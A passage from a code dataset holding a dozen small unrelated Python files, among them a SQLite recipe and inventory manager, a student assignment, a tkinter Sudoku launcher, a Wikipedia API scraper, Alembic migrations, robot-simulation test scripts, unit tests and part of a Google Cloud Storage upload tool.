invenyory table\r\n try :\r\n self.cursor.execute(\"Create table Inventory ( \\\r\n Inventory_Name varchar(500), \\\r\n Inventory_Volume varchar(300) not null, \\\r\n Inventory_Measurement varchar(20) not null, \\\r\n Inventory_Expiration varchar(20) \\\r\n )\")\r\n except Error as e:\r\n if ( re.match(\"table \\w+ already exists\", str(e)) is not None ):\r\n pass\r\n else:\r\n print(e)\r\n\r\n def insert_recipe(self, recipename, ingrediences, measurements, instructions, picture):\r\n # Inserts a recipe into the database if it does not exist\r\n self.conn, self.cursor = self.connect()\r\n #test if recipe exists\r\n self.cursor.execute(\"select * from Recipe where Recipe_Name like (?)\", (recipename,))\r\n test = self.cursor.fetchall()\r\n if (test):\r\n return False \r\n else:\r\n # insert data\r\n self.cursor.execute(\"INSERT INTO Recipe (Recipe_Name,Recipe_Ingrediences,Recipe_Measurement,Recipe_Instructions,Recipe_Picture,Recipe_Servings) VALUES (?,?,?,?,?,?)\",(recipename, ingrediences, measurements, instructions, picture,4,))\r\n # last inserted auto increment value\r\n keyID = self.cursor.lastrowid \r\n #print(keyID)\r\n self.conn.commit()\r\n print(\"Insert OK\")\r\n self.close()\r\n\r\n def select_recipes(self):\r\n # This function returns all recipes in the database\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"Select Recipe_Name from Recipe\")\r\n allRecipes = [i[0] for i in self.cursor.fetchall()]\r\n #pprint(allRecipes)\r\n self.close()\r\n return allRecipes\r\n\r\n def show_recipe(self, recipename):\r\n # This function returns the recipe in a list format\r\n self.conn, self.cursor = self.connect()\r\n self.conn.row_factory = sqlite3.Row\r\n self.cursor.execute(\"Select * from Recipe where Recipe_Name like (?)\", (recipename,))\r\n try:\r\n recipe = self.cursor.fetchall()\r\n self.close()\r\n return(recipe)\r\n except:\r\n self.close()\r\n return(\"None\")\r\n\r\n def get_planned_meals(self):\r\n # This function returns a list of all the planned meals\r\n self.conn, self.cursor = self.connect()\r\n\r\n self.cursor.execute(\"select * from Mealplan\")\r\n plan = self.cursor.fetchall()\r\n\r\n list = []\r\n for x in range(0,len(plan)):\r\n list.append(plan[int(x)][1])\r\n return(list)\r\n\r\n def add_recipe_to_meal_plan(self,selected_recipe,selected_day):\r\n # This function updates the mealplan with the recipe and day selected\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"UPDATE Mealplan SET Recipe_Name = (?) WHERE Meal_Day = (?) \",(selected_recipe,selected_day))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def update_recipe_measurement(self,recipename, list):\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"UPDATE Recipe SET Recipe_Measurement = (?) WHERE Recipe_Name = (?) \",(str(list),recipename))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def update_recipe_instructions(self, recipename, instructions):\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"UPDATE Recipe SET Recipe_Instructions = (?) WHERE Recipe_Name = (?) \",(instructions,recipename))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def update_recipe_picture(self, recipename, picture):\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"UPDATE Recipe SET Recipe_Picture = (?) WHERE Recipe_Name = (?) \",(picture, recipename))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def get_planned_meal(self,day):\r\n self.conn, self.cursor = self.connect()\r\n try:\r\n self.cursor.execute(\"Select Recipe_Name from Mealplan where Meal_Day like (?)\", (day,))\r\n recipename = self.cursor.fetchall()\r\n return(recipename)\r\n except:\r\n return(\"None\")\r\n\r\n def select_inventory(self):\r\n #This function returns a list of items in the inventory\r\n self.conn, self.cursor = self.connect()\r\n\r\n self.cursor.execute(\"select * from Inventory order by Inventory_Name desc\")\r\n inventory = self.cursor.fetchall()\r\n if inventory == []:\r\n self.close()\r\n return (\"inventory is empty\")\r\n else:\r\n self.close()\r\n return(inventory)\r\n\r\n def add_inventory(self,item,volume,measurement,expiration):\r\n self.conn, self.cursor = self.connect()\r\n # insert data\r\n self.cursor.execute(\"INSERT INTO Inventory (Inventory_Name,Inventory_Volume,Inventory_Measurement,Inventory_Expiration) VALUES (?,?,?,?)\",(item, volume, measurement, expiration))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def delete_inventory(self,name):\r\n self.conn, self.cursor = self.connect()\r\n self.cursor.execute(\"Delete from Inventory where Inventory_Name = (?)\", (name,))\r\n self.conn.commit()\r\n self.close()\r\n\r\n def update_inventory(self,item,volume,measurement,expiration):\r\n self.conn, self.cursor = self.connect()\r\n # insert data\r\n query = \"UPDATE Inventory \\\r\n SET Inventory_Volume = (?), \\\r\n Inventory_Measurement = (?), \\\r\n Inventory_Expiration = (?) \\\r\n WHERE Inventory_Name = (?)\"\r\n values = (volume, measurement, expiration, item)\r\n self.cursor.execute(query, values)\r\n self.conn.commit()\r\n self.close()","sub_path":"SqLite.py","file_name":"SqLite.py","file_ext":"py","file_size_in_byte":7883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"287273318","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 28 16:41:44 2018\n\n@author: Win10\n\"\"\"\n\n\ndef first_function(number):\n if number > 0 :\n return number\n if number < 0 :\n return number*-1 \n\n\n\ndef second_function(maxvalue): # funktioniert nur bei kurzen listen\n list.sort()\n print(list[-1]) #funktioniert nicht :(\n\nsecond_function([1,2,3,4])\n \ndef second_alternative_function(maxvalue): # auch für lange listen\n a = maxvalue[0]\n for number in maxvalue:\n if number > a:\n a = number\n else:\n continue\n return a\nsecond_alternative_function #wenn du die function benutzt musst du das vorher ankündigen\n ","sub_path":"assignment_3.py","file_name":"assignment_3.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"632061537","text":"from Sudoku import SudokuGame\nimport Sudoku\nfrom tkinter import *\nimport random\nfrom tkinter import messagebox as mb\nfrom functions import *\nfrom tkinter.ttk import *\nfrom asadad import main, menu\nimport functions\nimport stars\n\ndef easy(e):\n stars.stars = functions.easy\n print('Easy Game')\n main.destroy()\n SudokuGame()\n\n\ndef normal(e):\n stars.stars = functions.normal\n print('Normal Game')\n main.destroy()\n SudokuGame()\n\ndef hard(e):\n stars.stars = functions.hard\n print('Hard Game')\n main.destroy()\n SudokuGame()\n\ndef testFunc(e):\n functions.testMode = True\n print('Test mode')\n\ndef sudokuStarter(e):\n print(functions.testMode)\n if functions.testMode == False:\n global levelChoose\n levelChoose = Toplevel()\n levelChoose.geometry('250x100')\n levelChoose.title('Level')\n levelChoose.resizable(False, False)\n center(levelChoose)\n\n Choose = Label(levelChoose, text='Select level', font='Arial 18')\n Choose.pack(pady=0)\n\n easyButton = Button(levelChoose, text='Easy')\n easyButton.bind('', easy)\n easyButton.pack(side='left', padx=5)\n\n normalButton = Button(levelChoose, text='Normal')\n normalButton.pack(side='left')\n normalButton.bind('', normal)\n\n hardButton = Button(levelChoose, text='Hard')\n hardButton.pack(side='left', padx=5)\n hardButton.bind('', hard)\n\n if functions.testMode == True:\n stars.stars = 3\n print('Test Game')\n main.destroy()\n SudokuGame()\n\n\nmain.title('MiniGames')\nmain.geometry('405x400')\nmain.resizable(False, False)\ncenter(main)\nmain.tk.call('wm', 'iconphoto', main._w, PhotoImage(file=r'assets/img/games.png'))\n\nframeTop = Frame(main)\nframeTop.pack()\n\nframeMenu = Frame(main)\nframeMenu.pack(side='left')\n\nlabelGame_1 = Label(frameTop, justify='center', text='Mini Games', font='Courier 30 bold', foreground='#BB00B8')\nlabelGame_1.pack(pady=10)\n\nlabelGame_2 = Label(frameTop, justify='center', text='Choose the game', font='Courier 21 bold', foreground='#000')\nlabelGame_2.pack(side='top')\n\nsudokuImg = PhotoImage(file= r'assets\\img\\sudoku.png')\nsudokuImg = sudokuImg.subsample(2, 2)\n\nsudokuButton = Button(frameMenu, image=sudokuImg)\nsudokuButton.bind('', sudokuStarter)\nsudokuButton.pack(anchor='nw')\n\ntestButton = Button(text='test')\ntestButton.bind('', testFunc)\ntestButton.pack(anchor='se', side='bottom')\n\nmenu()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"assets/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"327280529","text":"from guiao_pesquisa.constraintsearch import *\n\ndef bicicletas_constraint(a1, t1, a2, t2):\n b1, c1 = t1\n b2, c2 = t2\n\n if a1 == b2 or a1 == c2 or a2 == b1 or a2 == c1:\n return False\n return True\n\nfriends = ['andre', 'bernardo', 'claudio']\n\ndef make_constraint_graph():\n\n return {((bicicleta, chapeu)): bicicletas_constraint for bicicleta in friends for chapeu in friends if bicicleta != chapeu}\n\ndef make_domains():\n chapeus = [c for c in friends]\n bikes = [c for c in friends]\n return {a: (b,c) for b in bikes for c in chapeus if b!=c for a in friends}\n\ncs = ConstraintSearch(make_domains(),make_constraint_graph())\n\nprint(cs.search())","sub_path":"IIA/guiao_pesquisa/bicicletas.py","file_name":"bicicletas.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"89195963","text":"import sys\nsys.path.append(\"../\")\n\nimport pdb\n\nimport requests\nimport pandas as pd\nimport re\n\nimport signal\nimport time\n\nimport pickle\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n\ndef has_key(key, resp, pageid):\n return bool(resp['query'][\"pages\"][pageid].get(key))\n\ndef matches(lst1, lst2):\n return [x for x in lst1 if x in lst2]\n \n \ndef get_article_info(title):\n params = {\n \"action\": \"query\",\n \"format\": \"json\",\n\n \"titles\": title,\n\n \"prop\": \"extracts|info|links|linkshere|categories\",\n \n # extracts\n \"exintro\": True,\n \"explaintext\": True,\n \"exsectionformat\": \"plain\",\n \n # links\n \"pllimit\": \"max\",\n \"plnamespace\": 0,\n \n # linkshere\n \"lhlimit\": \"max\",\n \"lhnamespace\": 0,\n \"lhshow\": \"!redirect\",\n \n # categories\n \"cllimit\": \"max\",\n }\n\n extract = []\n links = []\n linkshere = []\n categories = []\n\n def query_info(title, params):\n\n resp = requests.get(\n url=\"https://en.wikipedia.org/w/api.php\",\n params=params).json()\n\n pageid = list(resp[\"query\"]['pages'].keys())[0]\n \n if has_key(\"extract\", resp, pageid):\n extract.append(resp['query'][\"pages\"][pageid]['extract'])\n \n if has_key(\"links\", resp, pageid):\n for link in resp['query'][\"pages\"][pageid][\"links\"]:\n links.append(link[\"title\"])\n \n if has_key(\"linkshere\", resp, pageid):\n for lh in resp['query'][\"pages\"][pageid][\"linkshere\"]:\n linkshere.append(lh[\"title\"])\n \n if has_key(\"categories\", resp, pageid):\n for cat in resp['query'][\"pages\"][pageid][\"categories\"]:\n if not bool(re.findall(r\"(articles)|(uses)|(commons)\", cat[\"title\"], re.I)):\n categories.append(cat[\"title\"])\n \n if resp.get('continue'):\n params.update(resp.get(\"continue\"))\n query_info(title, params)\n\n query_info(title, params)\n \n return extract, links, linkshere, categories\n\n\n\n\nif __name__ == \"__main__\":\n parent_extract, parent_links, parent_linkshere, parent_categories = get_article_info(\"Random forest\")\n print(parent_links)\n","sub_path":"utils/get_article_info.py","file_name":"get_article_info.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"630175828","text":"\"\"\"add table mail trial\n\nRevision ID: 34d332604865\nRevises: 80360dc9b4a5\nCreate Date: 2018-08-23 15:21:57.774122\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '34d332604865'\ndown_revision = '80360dc9b4a5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('mail_trial',\n sa.Column('created_at', sa.DateTime(), server_default=sa.text(u'now()'), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('level', sa.Integer(), server_default='0', nullable=False),\n sa.Column('started_at', sa.DateTime(), server_default=sa.text(u'now()'), nullable=True),\n sa.Column('expired_at', sa.DateTime(), server_default=sa.text(u'now()'), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_mail_trial_created_at'), 'mail_trial', ['created_at'], unique=False)\n op.create_index(op.f('ix_mail_trial_expired_at'), 'mail_trial', ['expired_at'], unique=False)\n op.create_index(op.f('ix_mail_trial_level'), 'mail_trial', ['level'], unique=False)\n op.create_index(op.f('ix_mail_trial_started_at'), 'mail_trial', ['started_at'], unique=False)\n op.create_index(op.f('ix_mail_trial_updated_at'), 'mail_trial', ['updated_at'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_mail_trial_updated_at'), table_name='mail_trial')\n op.drop_index(op.f('ix_mail_trial_started_at'), table_name='mail_trial')\n op.drop_index(op.f('ix_mail_trial_level'), table_name='mail_trial')\n op.drop_index(op.f('ix_mail_trial_expired_at'), table_name='mail_trial')\n op.drop_index(op.f('ix_mail_trial_created_at'), table_name='mail_trial')\n op.drop_table('mail_trial')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/34d332604865_add_table_mail_trial.py","file_name":"34d332604865_add_table_mail_trial.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"605139662","text":"print(\"Please enter your sequence: \")\nseq = int(1)\nenter = 0\nlength = 0\nwhile(enter != \"done\"):\n enter = input()\n if(enter != \"done\"):\n seq *= int(enter)\n length += 1\nmean = seq**(1/length)\nprint(\"The geometric mean is: \", mean)","sub_path":"1114 hw/hw4/ig907_hw4_q6b.py","file_name":"ig907_hw4_q6b.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"633769488","text":"from subprocess import Popen, PIPE\nimport random\nimport time\nimport os\nimport numpy as np\n\ndef open_ulmsserver():\n \"\"\"\n Open ulmserver\n :return: Subprocess running ulmsserver\n \"\"\"\n ulmsserver = Popen(['ulmsserver'],\n stdout=PIPE, stderr=PIPE, universal_newlines=True)\n return ulmsserver\n\ndef open_simserver():\n \"\"\"\n Open simserver\n :return: Subprocess running simulation server\n \"\"\"\n simserver = Popen(['simserver1', 'automateEnvironment.xml'],\n stdout=PIPE, stderr=PIPE, universal_newlines=True)\n return simserver\n\ndef run_mrc_script(mrc_script_path):\n \"\"\"\n Run mrc script\n :return: Subprocess running mission script\n \"\"\"\n mrc_script = Popen(['mrc', '-s8000', f'{mrc_script_path}'], universal_newlines=True)\n return mrc_script\n\ndef rotate(origin_angle, point):\n \"\"\"\n Rotate a point counterclockwise by a given angle around a given origin.\n\n The angle should be given in radians.\n \"\"\"\n ox, oy, angle = origin_angle\n px, py = point\n\n qx = ox + np.cos(angle) * (px - ox) - np.sin(angle) * (py - oy)\n qy = oy + np.sin(angle) * (px - ox) + np.cos(angle) * (py - oy)\n return qx, qy\n\ndef generate_object(obj_num, point_start=None, _random=False):\n \"\"\"\n Takes a starting point or will random choose one and generate the object\n corresponding with the object number given.\n :param obj_num: Object to genereate\n :param point_start: A point to generate the object from if not to generate random position\n :param _random: Do a random generation of the object\n :return:\n \"\"\"\n if not _random:\n point_start = (2, 1.5, 0)\n x, y, theta = point_start\n elif point_start == None and _random:\n x = random.uniform(1.4, 2.6)\n y = random.uniform(1.4, 1.6)\n theta = random.uniform(0, 3.14)\n point_start = (x, y, theta)\n\n if obj_num == 1:\n lower_right_corner = rotate(point_start, (x + 0.40, y))\n upper_left_corner = rotate(point_start, (x, y + 0.15))\n diag_corner = rotate(point_start, (point_start[0] + 0.40, point_start[1] + 0.15))\n\n point_o = (np.asarray(point_start[:2]) + np.asarray(lower_right_corner) +\n np.asarray(upper_left_corner) + np.asarray(diag_corner)) / 4\n\n\n str_to_write = f'{point_start[0]}\\t{point_start[1]}\\t{lower_right_corner[0]}\\t{lower_right_corner[1]}\\n' \\\n f'{point_start[0]}\\t{point_start[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner[1]}\\n' \\\n f'{lower_right_corner[0]}\\t{lower_right_corner[1]}\\t{diag_corner[0]}\\t{diag_corner[1]}\\n' \\\n f'{upper_left_corner[0]}\\t{upper_left_corner[1]}\\t{diag_corner[0]}\\t{diag_corner[1]}\\n'\n elif obj_num == 2:\n lower_right_corner = rotate(point_start, (x + 0.30, y))\n upper_left_corner = rotate(point_start, (x, y + 0.20))\n diag_corner = rotate(point_start, (point_start[0] + 0.30, point_start[1] + 0.20))\n\n str_to_write = f'{point_start[0]}\\t{point_start[1]}\\t{lower_right_corner[0]}\\t{lower_right_corner[1]}\\n' \\\n f'{point_start[0]}\\t{point_start[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner[1]}\\n' \\\n f'{lower_right_corner[0]}\\t{lower_right_corner[1]}\\t{diag_corner[0]}\\t{diag_corner[1]}\\n' \\\n f'{upper_left_corner[0]}\\t{upper_left_corner[1]}\\t{diag_corner[0]}\\t{diag_corner[1]}\\n'\n\n point_o = (np.asarray(point_start[:2]) + np.asarray(lower_right_corner) +\n np.asarray(upper_left_corner) + np.asarray(diag_corner)) / 4\n\n elif obj_num == 3:\n lower_right_corner = rotate(point_start, (x + 0.40, y))\n upper_left_corner = rotate(point_start, (x, y + 0.10))\n str_to_write = f'{point_start[0]}\\t{point_start[1]}\\t{lower_right_corner[0]}\\t{lower_right_corner[1]}\\n' \\\n f'{point_start[0]}\\t{point_start[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner[1]}\\n' \\\n f'{lower_right_corner[0]}\\t{lower_right_corner[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner}\\n'\n\n point_o = np.asarray(point_start[:2])\n\n elif obj_num == 4:\n lower_right_corner = rotate(point_start, (x + 0.30, y))\n upper_left_corner = rotate(point_start, (x, y + 0.15))\n str_to_write = f'{point_start[0]}\\t{point_start[1]}\\t{lower_right_corner[0]}\\t{lower_right_corner[1]}\\n' \\\n f'{point_start[0]}\\t{point_start[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner[1]}\\n' \\\n f'{lower_right_corner[0]}\\t{lower_right_corner[1]}\\t{upper_left_corner[0]}\\t{upper_left_corner[1]}\\n'\n\n point_o = np.asarray(point_start[:2])\n\n\n\n return str_to_write, point_o, theta\n\nmap = f'0.0 0.0 1.8 0.0 bottom left\\n' \\\n f'2.2 0.0 4.0 0.0 bottom right\\n' \\\n f'0.0 5.0 1.8 5.0 top left\\n' \\\n f'2.2 5.0 4.0 5.0 top right\\n' \\\n f'0.0 0.0 0.0 1.8 left down\\n' \\\n f'0.0 3.2 0.0 5.0 left up\\n' \\\n f'4.0 0.0 4.0 1.8 right down\\n' \\\n f'4.0 3.2 4.0 5.0 right up\\n' \\\n f'0.9 3.1 1.7 3.1 maze bottom left\\n' \\\n f'2.3 3.1 3.1 3.1 maze bottom right\\n' \\\n f'1.7 2.5 1.7 3.1 maze left down\\n' \\\n f'0.9 3.1 0.9 4.3 maze left up\\n' \\\n f'2.3 2.5 2.3 3.1 maze right down\\n' \\\n f'3.1 3.1 3.1 4.3 maze right up\\n' \\\n f'1.5 3.7 2.5 3.7 maze middle horizontal\\n' \\\n f'2.0 3.7 2.0 4.3 maze middle vertical\\n' \\\n f'0.9 4.3 3.1 4.3 maze top\\n'\n\nif os.path.exists('results_python.txt'):\n os.remove('results_python.txt')\n\nif os.path.exists('results_cpp.txt'):\n os.remove('results_cpp.txt')\n\nwith open('results_python.txt', 'w+') as file:\n file.write('Object | Point o | Object pose\\n')\n\nwith open('results_cpp.txt', 'w+') as file:\n file.write('Object | Point o x | point o y | Object pose | SSD\\n')\n\n\niterations = 50\nfor j in range(iterations):\n for i in range(1, 5):\n object_string, point_o, theta = generate_object(i, _random=True)\n\n\n map_environ = map + object_string\n if os.path.exists('388auto'):\n os.remove('388auto')\n\n with open('./results_python.txt', 'a+') as file:\n file.write(f'{i}, {point_o}, {theta}\\n')\n\n with open('./388auto', 'w+') as file:\n file.write(map_environ)\n\n with open('results_cpp.txt', 'a+') as file:\n file.write(f'-1 -1 -1 -1 -1\\n')\n\n ulmsserver = open_ulmsserver()\n simserver = open_simserver()\n time.sleep(5)\n mrc_path = 'pipeline'\n mrc_process = run_mrc_script(mrc_path)\n time.sleep(3)\n mrc_process.wait()\n mrc_process.terminate()\n ulmsserver.terminate()\n simserver.terminate()\n\nos.rename('results_cpp.txt', 'results_cpp_done.txt')\nos.rename('results_python.txt', 'results_python_done.txt')\n\nprint(\"Done\")\n","sub_path":"automated_object_detection_test.py","file_name":"automated_object_detection_test.py","file_ext":"py","file_size_in_byte":7103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"362182780","text":"\n# -*- coding: utf-8 -*-\n\nimport unittest\nimport yaml\n\nimport testing_common\n\nimport dpcore\n\n\nclass TestStoriesLoad(unittest.TestCase):\n\t\"\"\" test load_stories() function \"\"\"\n\n\tdef test_load_stories_1(self):\n\t\t\"\"\" load story with string object \"\"\"\n\n\t\tm = \"This is a story\"\n\t\tstorylist = dpcore.load_stories(m)\n\n\t\tself.assertEqual(m, storylist[0].story)\n\t# ### def test_load_stories_1\n\n\tdef test_load_stories_2(self):\n\t\t\"\"\" load story with dict object (with story attached) \"\"\"\n\n\t\tm = {\"story\": \"This is a story\"}\n\t\tstorylist = dpcore.load_stories(m)\n\n\t\tself.assertEqual(m[\"story\"], storylist[0].story)\n\t# ### def test_load_stories_2\n\n\tdef test_load_stories_3(self):\n\t\t\"\"\" load story with dict object (without story attached, but attached valid key-value pair) \"\"\"\n\n\t\tm = {\"point\": 6}\n\t\tstorylist = dpcore.load_stories(m)\n\n\t\tself.assertEqual(None, storylist[0].story)\n\t# ### def test_load_stories_3\n\n\tdef test_load_stories_4(self):\n\t\t\"\"\" load story with dict object (without any valid key-value pair) \"\"\"\n\n\t\tm = {}\n\t\tstorylist = dpcore.load_stories(m)\n\n\t\tself.assertEqual(0, len(storylist))\n\t# ### def test_load_stories_4\n\n\tdef test_load_stories_5(self):\n\t\t\"\"\" load story with list object \"\"\"\n\n\t\tm = [\"this is story 1\", \"this is story 2\",]\n\t\tstorylist = dpcore.load_stories(m)\n\n\t\tself.assertEqual(2, len(storylist))\n\t\tidx = 0\n\t\tfor mm in m:\n\t\t\tself.assertEqual(mm, storylist[idx].story)\n\t\t\tidx = idx + 1\n\t# ### def test_load_stories_5\n\n\tdef test_load_stories_6(self):\n\t\t\"\"\" load story with dict object (basic information) \"\"\"\n\n\t\tm = {\"story\": \"a story of development.\", \"note\": \"* multiple line\\n* notes and notes\",\n\t\t\t\t\"order\": \"normal\", \"value\": \"\", \"point\": 7, \"demo-method\": \"use demo system to demo.\"}\n\t\tstorylist = dpcore.load_stories(m)\n\t\tdpcore.prepare_story_id()\n\n\t\tself.assertEqual(m[\"story\"], storylist[0].story)\n\t\tself.assertEqual(m[\"note\"], storylist[0].note)\n\t\tself.assertEqual(m[\"order\"], storylist[0].imp_order)\n\t\tself.assertEqual(None, storylist[0].imp_value)\n\t\tself.assertEqual(m[\"demo-method\"], storylist[0].demo_method)\n\t\tself.assertTrue(storylist[0].story_id is not None)\n\t# ### def test_load_stories_6\n# ### class TestStoriesLoad\n\n\nclass TestStoryYAMLnodeDump(unittest.TestCase):\n\t\"\"\" test yamlnodedump_stories() function \"\"\"\n\t\n\tdef test_dump_1(self):\n\t\t\"\"\" generate node object for 1 story \"\"\"\n\t\t\n\t\tm = \"This is a story\"\n\t\tstorylist_orig = dpcore.load_stories(m)\n\t\t\n\t\tnodelist = dpcore.yamlnodedump_stories(storylist_orig[0])\n\t\t\n\t\tyml = yaml.serialize(nodelist)\n\t\t#print yml\n\t\tc = yaml.load(yml)\n\t\t\n\t\tstorylist_comp = dpcore.load_stories(c)\n\t\tself.assertEqual(storylist_comp[0].story, storylist_orig[0].story)\n\t\tself.assertEqual(storylist_comp[0].note, storylist_orig[0].note)\n\t# ### def test_dump_1\n\t\n\tdef test_dump_2(self):\n\t\t\"\"\" generate node object2 for 2 story \"\"\"\n\t\t\n\t\tm = [\"This is story 1.\", {\"story\": \"This is story 2.\", \"sub-story\": \"This is a substory.\\nwhich have 2 lines.\", \"task\": \"task 1.\",}]\n\t\tstorylist_orig = dpcore.load_stories(m)\n\t\t\n\t\tself.assertEqual(1, len(storylist_orig[1].substory))\n\t\tself.assertEqual(1, len(storylist_orig[1].subtask))\n\t\t\n\t\tnodeobjlist = dpcore.yamlnodedump_stories(storylist_orig)\n\t\tnodelist = yaml.SequenceNode(tag=u\"tag:yaml.org,2002:seq\", value=nodeobjlist, flow_style=False)\n\t\t\n\t\tyml = yaml.serialize(nodelist)\n\t\t#print yml\n\t\tc = yaml.load(yml)\n\t\t\n\t\tstorylist_comp = dpcore.load_stories(c)\n\t\tfor idx in range(2):\n\t\t\tself.assertEqual(storylist_comp[idx].story, storylist_orig[idx].story)\n\t\t\tself.assertEqual(storylist_comp[idx].note, storylist_orig[idx].note)\n\t\tself.assertEqual(1, len(storylist_comp[1].substory))\n\t\tself.assertEqual(1, len(storylist_comp[1].subtask))\n\t# ### def test_dump_2\n# ### class TestStoryYAMLnodeDump\n\n\nclass MockStoryContainer_1(dpcore.StoryContainer):\n\tdef __init__(self):\n\t\tsuper(MockStoryContainer_1, self).__init__();\n\t# ### def __init__\n# ### class MockStoryContainer_1\n\nclass TestStoryContainer(unittest.TestCase):\n\tdef setUp(self):\n\t\tself.mockcontainer = MockStoryContainer_1()\n\t# ### def setUp\n\n\tdef test_add_story_obj(self):\n\t\tstorylist1 = dpcore.load_stories(\"This is a story 1.\")\n\t\tstorylist2 = dpcore.load_stories(\"This is a story 2.\")\n\n\t\tself.mockcontainer.append_substory(storylist1[0])\n\t\tself.assertEqual(len(self.mockcontainer.substory), 1)\n\t\tself.assertEqual(storylist1[0], self.mockcontainer.substory[0])\n\n\t\tself.mockcontainer.append_substory(storylist2[0])\n\t\tself.assertEqual(len(self.mockcontainer.substory), 2)\n\t\tself.assertEqual(storylist2[0], self.mockcontainer.substory[1])\n\t# ### def test_add_story_obj\n\n\tdef test_add_story_list(self):\n\t\tstorylist1 = dpcore.load_stories([\"This is a story 1a.\", \"This is a story 1b.\",])\n\t\tstorylist2 = dpcore.load_stories([\"This is a story 2a.\", \"This is a story 2b.\",])\n\n\t\tself.mockcontainer.append_substory(storylist1)\n\t\tself.assertEqual(len(self.mockcontainer.substory), 2)\n\t\tfor idx in range(len(storylist1)):\n\t\t\tself.assertEqual(storylist1[idx], self.mockcontainer.substory[0+idx])\n\n\t\tself.mockcontainer.append_substory(storylist2)\n\t\tself.assertEqual(len(self.mockcontainer.substory), 4)\n\t\tfor idx in range(len(storylist2)):\n\t\t\tself.assertEqual(storylist2[idx], self.mockcontainer.substory[2+idx])\n\t# ### def test_add_story_list\n# ### class TestStoryContainer\n\n\n\nif __name__ == '__main__':\n\tunittest.main()\n\n# vim: ts=4 sw=4 ai nowarp\n","sub_path":"test/test_story.py","file_name":"test_story.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"192683497","text":"from django import template\n\nfrom home.models import FooterContent\n\nregister = template.Library()\n\n\n@register.inclusion_tag('footer.html', takes_context=True)\ndef footer_content(context):\n footer = FooterContent.objects.first()\n\n if footer is None:\n footer = FooterContent()\n\n return {\n 'footer': footer,\n }\n","sub_path":"home/templatetags/footer_tags.py","file_name":"footer_tags.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"473621441","text":"# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nImplementation of \"upload_stream\" command.\n\"\"\"\nimport io\nfrom concurrent.futures import Executor, Future\nfrom logging import getLogger\nfrom sys import stdin\nfrom time import sleep, time\nfrom typing import Iterable, List\n\nfrom google.cloud import storage\n\nfrom gcsfast.libraries.gcs import get_gcs_client\nfrom gcsfast.libraries.thread import BoundedThreadPoolExecutor\nfrom gcsfast.libraries.utils import b_to_mb\n\nLOG = getLogger(__name__)\n\nstats = {}\n\n\ndef upload_stream_command(no_compose: bool, threads: int, slice_size: int, io_buffer: int,\n object_path: str, file_path: str) -> None:\n \"\"\"Upload a stream into GCS using concurrent uploads. This is useful for \n inputs which can be read faster than a single TCP stream. Also, uploads\n from a device like a single spinning disk (where seek time is non-zero)\n may benefit from this operation as opposed to a sliced upload with multiple\n readers.\n \n Arguments:\n no_compose {bool} -- Don't compose. The `*_sliceN` objects will be left untouched.\n threads {int} -- The number of upload threads to use. The maximum amount of the \n stream that may be in memory is slice_size * threads * 2.5.\n slice_size {int} -- The slice size for each upload.\n slice_size {int} -- The IO buffer size to use for file operations.\n object_path {str} -- The object path for the upload, or the prefix to use if 